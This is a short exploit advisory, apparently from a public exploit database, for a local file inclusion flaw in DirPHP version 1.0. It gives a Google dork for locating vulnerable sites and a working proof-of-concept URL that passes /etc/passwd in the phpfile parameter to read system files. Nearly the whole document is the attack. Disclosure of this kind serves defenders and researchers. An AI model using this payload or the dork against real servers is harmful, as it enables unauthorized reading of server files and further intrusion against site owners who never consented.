DirPHP version 1.0 suffers from a local file inclusion vulnerability.
f922f10049cb2b15a1b16614078725aebb5d95d2cdee5216b779aaa91992d8b9
# Exploit Title: DirPHP - version 1.0 Local File Inclusion
# Google Dork: intext:DirPHP - version 1.0 - Created & Maintained by Stuart Montgomery
# Date: 7/26/14
# Exploit Author: -Chosen-
# Contact: dark[dot]binary[dot]code@gmail.com
# Version: DirPHP - Version 1.0
# Tested on: *nix
PoC:
http://site.com/path/index.php?phpfile=/etc/passwd